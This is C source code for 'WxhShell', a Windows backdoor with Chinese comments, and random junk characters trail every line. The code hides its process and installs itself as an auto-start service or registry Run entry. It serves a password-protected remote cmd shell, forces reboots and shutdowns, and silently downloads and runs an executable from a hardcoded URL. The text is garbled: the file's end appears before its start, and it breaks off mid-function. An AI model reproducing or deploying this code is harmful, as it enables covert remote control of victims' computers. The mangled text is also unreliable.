    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-_N|iW' 5  
    else { h/eKVRGs"  
    closesocket(wsh); m!E36ce}  
    ExitThread(0); }_5z(7}3  
    } zS|%+er~zO  
    break; '<6Gz7O  
    } B'atwgI0  
  // 获取shell EUUj-.dEN  
  case 's': { K& 2p<\2  
    CmdShell(wsh); |K/#2y~  
    closesocket(wsh); *w> /vu  
    ExitThread(0); |~v($c  
    break; QF[9Zn  
  } n1buE1r?  
  // 退出 = eTI@pN`  
  case 'x': { OkA-=M)RI:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dpJi5fN  
    CloseIt(wsh); k]; <PF  
    break; )k29mqa`  
    } XD%?'uUQ_  
  // 离开 YfF&: "-NU  
  case 'q': { nGX~G^mZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .B#Lt,m  
    closesocket(wsh); rYN`u  
    WSACleanup(); |mY<TWoX  
    exit(1); SuGlNp>#qm  
    break; a,&Kvh  
        } E3NYUHfZ  
  } #Yj0'bgK  
  } ~3f#cEP>d}  
X]  Tb4  
  // 提示信息 uvD 6uIW<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a-i#?hld  
} ]~kqPw<R  
  } fVR ~PG0  
WMh'<'w N_  
  return;  w8FZXL  
} *;"^b\f5_  
>2$Ehw:K^  
// shell模块句柄 _eO+O=j_x  
int CmdShell(SOCKET sock) B;1wnKdj  
{ #c/v2  
STARTUPINFO si;  4uU(t  
ZeroMemory(&si,sizeof(si)); dVe3h.,[v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L)B?p!cdLT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o#0NIn"GS/  
PROCESS_INFORMATION ProcessInfo; vc^PXjX  
char cmdline[]="cmd";  tEP^w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r OB\u|Pg  
  return 0; H~Q UN  
} B(^fM!_%-6  
V!FzVl=G  
// 自身启动模式 2px5>4<  
int StartFromService(void) 7Dm^49H  
{ o/=K:5  
typedef struct 5l(;+#3y/  
{ *'exvY~  
  DWORD ExitStatus; rM>&! ?y+  
  DWORD PebBaseAddress; g`J? 2 _]  
  DWORD AffinityMask; k"Sw,"e>+  
  DWORD BasePriority; $T3/*xN  
  ULONG UniqueProcessId; kN>d5q9b%X  
  ULONG InheritedFromUniqueProcessId; 8^< -;  
}   PROCESS_BASIC_INFORMATION; DO( /,A<{8  
2M1yw "  
PROCNTQSIP NtQueryInformationProcess; CqrmdWN  
]/d2*#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ZX{q~g!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2ix_,yTO  
={feN L  
  HANDLE             hProcess; F1%' zsv  
  PROCESS_BASIC_INFORMATION pbi; ih~c(&n0  
\nxt\KD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K90Zf  
  if(NULL == hInst ) return 0; Bpk%,*$*)  
*xLMs(gg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1bj75/i<6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UdLC]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jq =-Y  
8E0Rg/DnT  
  if (!NtQueryInformationProcess) return 0; BY \p?79  
wy Le3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qw_qGgbl  
  if(!hProcess) return 0; =20Q! wcu  
4 6e;UUf!d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5#2vSq!H  
/!%P7F  
  CloseHandle(hProcess); K7_)!=DcX  
PfuYT_p4s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7rhpIP2n  
if(hProcess==NULL) return 0; T-5T`awf  
.R-:vU880  
HMODULE hMod; S2<(n,"  
char procName[255]; JBWiTUk  
unsigned long cbNeeded; Uf\*u$78  
xaeY^"L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JL(*peeu3  
ec]ksw6T+  
  CloseHandle(hProcess); X2Lhb{ZHE  
2%@j<yS  
if(strstr(procName,"services")) return 1; // 以服务启动 &.4lhfI+(Q  
xH' H! 8  
  return 0; // 注册表启动 pH"LZ7)DI0  
} kYR&t}jlCg  
2"i<--Y  
// 主模块 Jk1U p2#B  
int StartWxhshell(LPSTR lpCmdLine) @u$oqjK  
{ Ok*:;G@  
  SOCKET wsl; v-Br)lLv  
BOOL val=TRUE; !-;Me&"I=`  
  int port=0; 8KAyif@1::  
  struct sockaddr_in door; m' aakq  
<`N\FM^vo  
  if(wscfg.ws_autoins) Install(); M(2[X/t  
zD?$O7 |ZK  
port=atoi(lpCmdLine); :V_$?S  
riBT5  
if(port<=0) port=wscfg.ws_port; 3~ZtAgih%  
}'Z(J)Bg  
  WSADATA data; MWB uMF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q5jP`<zWU  
h]zx7zt-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TvQAy/Y0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i;\i4MT  
  door.sin_family = AF_INET; Gpgi@ Uf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D<rjxP  
  door.sin_port = htons(port); Aa1 |{^$:L  
klx4Mvq+/@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C'=C^X%  
closesocket(wsl); ;nC+K z:  
return 1; I&cb5j]C  
} .KB*u*h  
ZRX>SyM  
  if(listen(wsl,2) == INVALID_SOCKET) { @L~y%#  
closesocket(wsl); 7C 4Njei"  
return 1; {2q   
} tq*Q|9j7VG  
  Wxhshell(wsl); 5Pr<%}[S^  
  WSACleanup(); g`Rs;  
> PYe"  
return 0; !?+3 jzG  
dyx 4_!fO  
} |C(72t?K  
dIf Jr}ih  
// 以NT服务方式启动 Nh+$'6yT%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IBuuZ.=j2h  
{ Y]n^(V  
DWORD   status = 0; V3`*LU  
  DWORD   specificError = 0xfffffff; #h&?wE>  
LEhi/>T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .oe,# 1Qh{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1/{:}9Z@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =_UPZ]  
  serviceStatus.dwWin32ExitCode     = 0; /stED{j,  
  serviceStatus.dwServiceSpecificExitCode = 0; *i n_Z t3  
  serviceStatus.dwCheckPoint       = 0; &=/.$i-w$  
  serviceStatus.dwWaitHint       = 0; kPxEGuL'  
nBD7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q7SS<'(  
  if (hServiceStatusHandle==0) return; t4<#k=  
i$F)h<OU+  
status = GetLastError(); ' Wi*[  
  if (status!=NO_ERROR) O/<jt'  
{ epwXv|aSZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %|u"0/  
    serviceStatus.dwCheckPoint       = 0; %_ z]iz4  
    serviceStatus.dwWaitHint       = 0; &3^40s/+  
    serviceStatus.dwWin32ExitCode     = status; (&x[>):6?  
    serviceStatus.dwServiceSpecificExitCode = specificError; :*8@Mj Z4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S\f^y8*<  
    return; NH?s  
  } FIS-xpv$  
{<_}[} XY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |[: `izW  
  serviceStatus.dwCheckPoint       = 0; ~<$8i}7  
  serviceStatus.dwWaitHint       = 0; 4dy)g)wM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^]v}AEcmW  
} X%gJ, c(4  
"w A8J%:  
// 处理NT服务事件,比如:启动、停止 9XoKOR(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C {'c_wX  
{ m2V4nxw]Qp  
switch(fdwControl) :4 ;>).  
{ w|M?t{  
case SERVICE_CONTROL_STOP: "W1q}4_  
  serviceStatus.dwWin32ExitCode = 0; 0J_x*k6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )8vcg{b{d  
  serviceStatus.dwCheckPoint   = 0; \q,w)BE  
  serviceStatus.dwWaitHint     = 0;  (0k0gq;  
  { -x RsYYw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # AY+[+  
  } d~n+Ds)%F  
  return; >DV0!'jW  
case SERVICE_CONTROL_PAUSE: 4o|~KX8Qz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6?t5g4q*nn  
  break; K@d`jb4T  
case SERVICE_CONTROL_CONTINUE: *JDc1$H0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'N}Wo}1r  
  break; HPgMVp'  
case SERVICE_CONTROL_INTERROGATE: F:H76O`8  
  break; n_w,Ew,>5  
}; D@3|nS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q2SkkY$_]y  
} +wio:==  
0m@S+$v  
// 标准应用程序主函数 iff U}ce  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'DIE#l`  
{ ck^Z,AKL+  
1]kk  
// 获取操作系统版本 |, :(3Ml  
OsIsNt=GetOsVer(); IAtZ-cM<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sS0psw1  
BpK P]V  
  // 从命令行安装 T xN5K`q  
  if(strpbrk(lpCmdLine,"iI")) Install(); "5e]-u'  
G/D{K$=t~  
  // 下载执行文件 O}%=c\Pb  
if(wscfg.ws_downexe) { & v`kyc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g)"6|Z?D"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6jnRC*!?  
} .3Ap+V8?  
Eod2vr =Q  
if(!OsIsNt) { h(zi$V  
// 如果时win9x,隐藏进程并且设置为注册表启动 `W/6xm(X5;  
HideProc(); ?@u &3/&  
StartWxhshell(lpCmdLine); .5T7O_%FP  
} mEqV&M1;7l  
else I?:V EN:  
  if(StartFromService()) `ybZE+S.  
  // 以服务方式启动 UC0 yrV  
  StartServiceCtrlDispatcher(DispatchTable); U]P;X~$!  
else [C&c;YNp  
  // 普通方式启动 m1cyCD  
  StartWxhshell(lpCmdLine); <9Chkb|B  
Fl O%O D  
return 0; %GIla *  
} ql zL<  
n2QD*3i  
1n,JynJ  
OO@$jXZB  
=========================================== 7j]@3D9[:p  
U9 If%0P  
c]O4l2nCL  
U-Iwda8v  
_Ih~'Y Fd  
i.#s'm.9  
" HS2)vd@)  
&oR&NKk  
#include <stdio.h> Rw7Q[I5z%  
#include <string.h> H<>x_}&  
#include <windows.h> 2{%BQq>C  
#include <winsock2.h> ~vt8|OOo0  
#include <winsvc.h> [m4<j  
#include <urlmon.h> c2i^dNp_  
4v{gc/g  
#pragma comment (lib, "Ws2_32.lib") J0x)m2  
#pragma comment (lib, "urlmon.lib") r9QNE>UG  
1\3n   
#define MAX_USER   100 // 最大客户端连接数 S5XFYQ  
#define BUF_SOCK   200 // sock buffer +[>m`XTq  
#define KEY_BUFF   255 // 输入 buffer c-3? D;  
SAqX[c  
#define REBOOT     0   // 重启 E0*81PS  
#define SHUTDOWN   1   // 关机 `fL$t0 "  
0)nU[CY  
#define DEF_PORT   5000 // 监听端口 LX3 5Lt  
cLXMq"?C  
#define REG_LEN     16   // 注册表键长度 *f,EDSN1@d  
#define SVC_LEN     80   // NT服务名长度 GB{%4)%6  
Xf.SJ8G  
// 从dll定义API .<tb*6rX>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e}Db-7B_~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q!@" Y/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1|Fukx<@J<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p{88v3b6  
"eBpSV>nnQ  
// wxhshell配置信息 pV1~REk$&  
struct WSCFG { K)&AR*Tc  
  int ws_port;         // 监听端口 C`DTPoXN  
  char ws_passstr[REG_LEN]; // 口令 mH;\z;lyK  
  int ws_autoins;       // 安装标记, 1=yes 0=no uv Z!3UH.  
  char ws_regname[REG_LEN]; // 注册表键名 g4U%(3,>D  
  char ws_svcname[REG_LEN]; // 服务名 Xo'_|-N+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Of-l<Ks\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pvcD 61,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LB-4/G$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no teET nz_L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0*+i~g,Kl@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;Q\Duj  
yV_aza  
}; h19c*,0z!  
P)Sw`^d  
// default Wxhshell configuration !hEt UF  
struct WSCFG wscfg={DEF_PORT, xMU4Av[{  
    "xuhuanlingzhe", s:6H^DQ"C  
    1, | tyVC=${  
    "Wxhshell", }ob#LC,  
    "Wxhshell", IL&Mf9m  
            "WxhShell Service", F!'y47QD  
    "Wrsky Windows CmdShell Service", 6> X7JMRY  
    "Please Input Your Password: ", &pV'/  
  1, 8L^5bJ  
  "http://www.wrsky.com/wxhshell.exe", ' FF@I^O  
  "Wxhshell.exe" Il,2^54q  
    }; E&/#Ov  
A+_361KH  
// 消息定义模块 Nxp 7/Nn3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }f/ 1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I^emH+!MW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mnc9l ^  
char *msg_ws_ext="\n\rExit."; ]oUvC  
char *msg_ws_end="\n\rQuit."; 1pg&?L.MA  
char *msg_ws_boot="\n\rReboot..."; `$Z:j;F  
char *msg_ws_poff="\n\rShutdown..."; `8/K+ e`  
char *msg_ws_down="\n\rSave to "; il|e5TD^  
tZB" (\  
char *msg_ws_err="\n\rErr!"; &gR)Y3  
char *msg_ws_ok="\n\rOK!"; B<%cqz@  
!{>'jvH  
char ExeFile[MAX_PATH]; ~=67#&(R  
int nUser = 0; 3"FvYv{  
HANDLE handles[MAX_USER]; P%2aOsD0  
int OsIsNt; 6#hDj_(,  
B:J([@\'  
SERVICE_STATUS       serviceStatus; JFewOt3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5$$Yce=k  
: 7>oFz  
// 函数声明 _UI*W&*  
int Install(void); 69N/_V  
int Uninstall(void); h}0}g]IUx  
int DownloadFile(char *sURL, SOCKET wsh); 5 nF46c  
int Boot(int flag); ![1+=F !  
void HideProc(void); -Y>,\VEK  
int GetOsVer(void); vxE#6  
int Wxhshell(SOCKET wsl); Jui:Ms  
void TalkWithClient(void *cs); KTtB!4by  
int CmdShell(SOCKET sock); Zaime  
int StartFromService(void); 7qsu0 .[d  
int StartWxhshell(LPSTR lpCmdLine);  ddK\q!0  
X(Z~oGyg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yzyBr1s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <fS WX>pR  
UlP2VKM1&  
// 数据结构和表定义 X<8?>#  
SERVICE_TABLE_ENTRY DispatchTable[] = 8FT]B/^&m  
{ (;!92ct[?  
{wscfg.ws_svcname, NTServiceMain}, $;iMo/  
{NULL, NULL} [J!jp& o  
}; .q90+9Ek=  
d6^:lbj  
// 自我安装 X8 $Y2?<  
int Install(void) [x%[N)U3  
{ )d~{gPr.  
  char svExeFile[MAX_PATH]; Yyxsj9  
  HKEY key; {'8td^JEE  
  strcpy(svExeFile,ExeFile); YY zUg  
\+)aYP2Hu  
// 如果是win9x系统,修改注册表设为自启动 q\pI&B  
if(!OsIsNt) { /9pN.E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'GI| t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @>fsg-|  
  RegCloseKey(key); gU&y5s~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8$F"!dc _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K<rv|bJ  
  RegCloseKey(key); Rtu"#XcBw+  
  return 0; skm~~JM^  
    } ;Rlf[](iL  
  } 7{Lp/z%r  
} Cnr=1E=  
else { w}]BJ<C  
Bs `mzA54  
// 如果是NT以上系统,安装为系统服务 wz..  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O3V.4tp  
if (schSCManager!=0) O _ C<h  
{ bf=!\L$  
  SC_HANDLE schService = CreateService ;hPVe _/  
  ( {,!!jeOO  
  schSCManager, #<~oR5ddlb  
  wscfg.ws_svcname, `Ez8!d{MD8  
  wscfg.ws_svcdisp, <0VC`+p<)  
  SERVICE_ALL_ACCESS, ch2m Ei(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w\mTug  
  SERVICE_AUTO_START, E-%$1=;  
  SERVICE_ERROR_NORMAL, 2Wg:eh  
  svExeFile, x<`^4|<  
  NULL, Vm?#~}T  
  NULL, {Q>4zepN!  
  NULL, cTz@ga;!mI  
  NULL, =), O;M  
  NULL YZ]}l%e  
  ); ,SPgop'  
  if (schService!=0) d U*$V7  
  { :_<&LO]Q  
  CloseServiceHandle(schService); # > I_  
  CloseServiceHandle(schSCManager); _M&n~ r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /Xj{]i3{  
  strcat(svExeFile,wscfg.ws_svcname); xQ';$&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "@5qjLz]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fs yVu|G  
  RegCloseKey(key); =`*@OJHH  
  return 0; KwV!smi2  
    } H "Io!{aKU  
  } ;jaugKf  
  CloseServiceHandle(schSCManager); AOkG.u-k  
} >Tjl?CS  
} 1ni72iz\  
w#hg_RK(Jr  
return 1; Niu |M@  
} s?s ,wdp  
BW6Ox=sr<  
// 自我卸载 4s~X  
int Uninstall(void) $&qLr KJ  
{ r\#nBoo(  
  HKEY key; *iY:R  
OiXO<1'$  
if(!OsIsNt) { %~k>$(u6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1=5HQ~|[TO  
  RegDeleteValue(key,wscfg.ws_regname); 3bXfR,U  
  RegCloseKey(key); 0:71Xm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w&T\8k=  
  RegDeleteValue(key,wscfg.ws_regname); wsQ],ZE  
  RegCloseKey(key); ]cv|dc=  
  return 0; q]C_idK=  
  } CbW[_\  
} _68vSYr  
} us~cIGm  
else { Y3~z#<  
&]LpGl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o~e_M-  
if (schSCManager!=0) }aVzr}!  
{ G u_\ySV/y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pnE]B0e  
  if (schService!=0) 9xj }<WM  
  { rv(N0p/  
  if(DeleteService(schService)!=0) { tY]?2u%)  
  CloseServiceHandle(schService); kr~n5WiAZ  
  CloseServiceHandle(schSCManager); 2L;=wP2?{  
  return 0; sbX7VfAR`  
  } ,SNrcwv  
  CloseServiceHandle(schService); 4)OOj14-V  
  } i!8"T#  
  CloseServiceHandle(schSCManager); VD@$y^!H  
} ]|PTZ1?j  
} 0SWqC@AR%  
(yi zM  
return 1; jSHFY]2  
} Kr'?h'F  
L~)8Q(f  
// 从指定url下载文件 0Fon`3(^\  
int DownloadFile(char *sURL, SOCKET wsh) P (7Q8i'  
{ H"^9g3 U  
  HRESULT hr; OomC%9/=,  
char seps[]= "/"; :<B_V<  
char *token; dmXfz D  
char *file; \b $pH  
char myURL[MAX_PATH]; J ;z`bk^  
char myFILE[MAX_PATH]; w0Nm.=I-   
^7? WR?!  
strcpy(myURL,sURL); / [49iIzC  
  token=strtok(myURL,seps); 9O-~Ws ;  
  while(token!=NULL) n{M Th_C4n  
  {  XD8 I.q  
    file=token; csLbzDg  
  token=strtok(NULL,seps); -Z:x!M[Xr  
  } x=xo9wEg  
Mb[4_Dc  
GetCurrentDirectory(MAX_PATH,myFILE); LI3L~6A>  
strcat(myFILE, "\\"); aACPyfGQ  
strcat(myFILE, file); o$;&q *  
  send(wsh,myFILE,strlen(myFILE),0); \WTKw x  
send(wsh,"...",3,0); +x`pWH]2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0\Jeyb2dl  
  if(hr==S_OK) =hb)e}l  
return 0; 6Y\TVRR  
else QgYt(/S  
return 1; J|^XD<Y  
6pS}\aD  
} x+za6e_k"  
WvJ:yUb2  
// 系统电源模块 )h 6w@TF  
int Boot(int flag) Y7g%nz[[  
{ A'~mJO/   
  HANDLE hToken; f1'X<VA  
  TOKEN_PRIVILEGES tkp; `i(b%$|^&Z  
/0gr?I1wr7  
  if(OsIsNt) { ulW>8bW&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VK*`&D<P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z a_0-G%C2  
    tkp.PrivilegeCount = 1; =8tK]lb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W$,/hB& z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =8`KGeP$  
if(flag==REBOOT) { gfIS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d`flYNg4  
  return 0; Twd*HH  
} oLX[!0M^  
else { @XtrC|dkkE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MbInXv$q2/  
  return 0; Iq,h}7C8'  
} Vq-Kl[-|  
  } `p* 43nV  
  else { aN*{nW  
if(flag==REBOOT) { iZ}c[hC'3`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }0anssC  
  return 0; %f("3!#H  
} 1twpOZ>  
else { k= 9+"4:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t,/8U  
  return 0; +L'Cbv="  
} g)$KN,gGuO  
} cU ?F D  
(X\]!'A  
return 1; : KFK2yD  
} L?|}!  
U<sGj~"#  
// win9x进程隐藏模块 1fIx@  
void HideProc(void) O9?.J,,mVh  
{ )hQ]>o@i{  
#*y.C[^5{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7 qn=W  
  if ( hKernel != NULL ) Z]DZ:dF  
  { vuY X0&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [tt{wl"E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ??.aLeF&  
    FreeLibrary(hKernel); 8`)* ?Q9~  
  } k+"7hf=C|  
w nQy   
return; W,yLGz\  
} C<T6l'S{?  
LdOme [C1  
// 获取操作系统版本 *! :j$n;  
int GetOsVer(void) jwLZC  
{ d(RMD  
  OSVERSIONINFO winfo; f2o6GC_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z<fd!g+^  
  GetVersionEx(&winfo); Rsq EAdZw[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kjsj~jwvv  
  return 1; - (((y)!  
  else ~Yl.(R  
  return 0; TTa3DbFp%  
}  Rm)hgmZ  
/!t:MK;  
// 客户端句柄模块 ?Q"<AL>Z  
int Wxhshell(SOCKET wsl) (X5y%~;V5a  
{ {2Tu_2>  
  SOCKET wsh; X|!@%wuGC  
  struct sockaddr_in client; >vXJ9\  
  DWORD myID; [) >Yp-n  
C}3a  ^j  
  while(nUser<MAX_USER) l4taD!WD/  
{ jP}Ry=V/  
  int nSize=sizeof(client); +0*\q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I!9>"s12  
  if(wsh==INVALID_SOCKET) return 1; r|uR!=*|?  
N>a~k}pPH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^q& Rl\  
if(handles[nUser]==0) 7CF>cpw  
  closesocket(wsh); ^pew'p HQ  
else ^:ny  
  nUser++; `~lG5|  
  } ]:2Ro:4Yv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); . bUmT!  
~fL`aU&  
  return 0; z!b:|*m]w  
} %1#|>^  
dD39?K/  
// 关闭 socket 8tjWVo  
void CloseIt(SOCKET wsh) bxL'k/Y$  
{ q^^R|X1  
closesocket(wsh); m;xa}b{(i  
nUser--; v)|a}5={  
ExitThread(0); h\Y~sm?!`  
} ]lyQ*gM  
) d'H&c3  
// 客户端请求句柄 daSx^/$R  
void TalkWithClient(void *cs) u^]Gc p  
{ W]bytsl  
B+R|fQ  
  SOCKET wsh=(SOCKET)cs; Z]2z*XD  
  char pwd[SVC_LEN]; nB :iG  
  char cmd[KEY_BUFF]; {hf_Xro&  
char chr[1]; m*)jnd XY  
int i,j; JS\]|~Gd  
,+OVRc  
  while (nUser < MAX_USER) { wKfq'W{  
xqlnHf<G  
if(wscfg.ws_passstr) { ]xb2W~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e~># M $  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~X<$ l+5  
  //ZeroMemory(pwd,KEY_BUFF); 7tJ#0to  
      i=0; KdZ=g ZSH  
  while(i<SVC_LEN) { G eB-4img  
KX!/n`2u  
  // 设置超时 (Lj*FXmz  
  fd_set FdRead; ^j pQfDe6  
  struct timeval TimeOut; iDgc$'%?  
  FD_ZERO(&FdRead); -R];tpddR5  
  FD_SET(wsh,&FdRead); G i(  
  TimeOut.tv_sec=8; NaQ~iY?  
  TimeOut.tv_usec=0; OaoHN& "  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Ev8f11i&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $JBb] v8_  
YB)I%5d;{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M1 o@v0  
  pwd=chr[0]; vF@|cTRR)  
  if(chr[0]==0xd || chr[0]==0xa) { 9|@5eN:N  
  pwd=0; /&@q*L  
  break; y9@j-m&  
  } 5=9Eb  
  i++; >OjK0jiPf  
    } ]JmE(Y1(1  
I`g&>  
  // 如果是非法用户,关闭 socket Q=[ IO,f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HKOSS-`5  
} 2t?>0)*m  
wXdt\@Qr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D]'8BS3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vt(}8C+  
XS&;8 PO  
while(1) { 9 MQwc  
|KPNl\%ID  
  ZeroMemory(cmd,KEY_BUFF); /Gb)BJk!  
}LEasj  
      // 自动支持客户端 telnet标准   Lew 2Z  
  j=0; v-!Spf  
  while(j<KEY_BUFF) { 6y?uH; SL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r@'~cF]m  
  cmd[j]=chr[0]; n1R{[\ >1  
  if(chr[0]==0xa || chr[0]==0xd) { w9gfva$&  
  cmd[j]=0; (otD4VR_  
  break; T|(w-)mv  
  } G(F=6L~;  
  j++; G2>s#Y5(,  
    } C4d CaiX  
G$/Qcr6W<  
  // 下载文件 Rf=-Q %  
  if(strstr(cmd,"http://")) { $|!3ks  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HG5E,^1n  
  if(DownloadFile(cmd,wsh)) *|L;&XM&/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!5`9u6  
  else @K#}nKN'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7o*~zDh@fH  
  } 2`FDY3n  
  else { A&-2f]L tl  
,^v_gc  
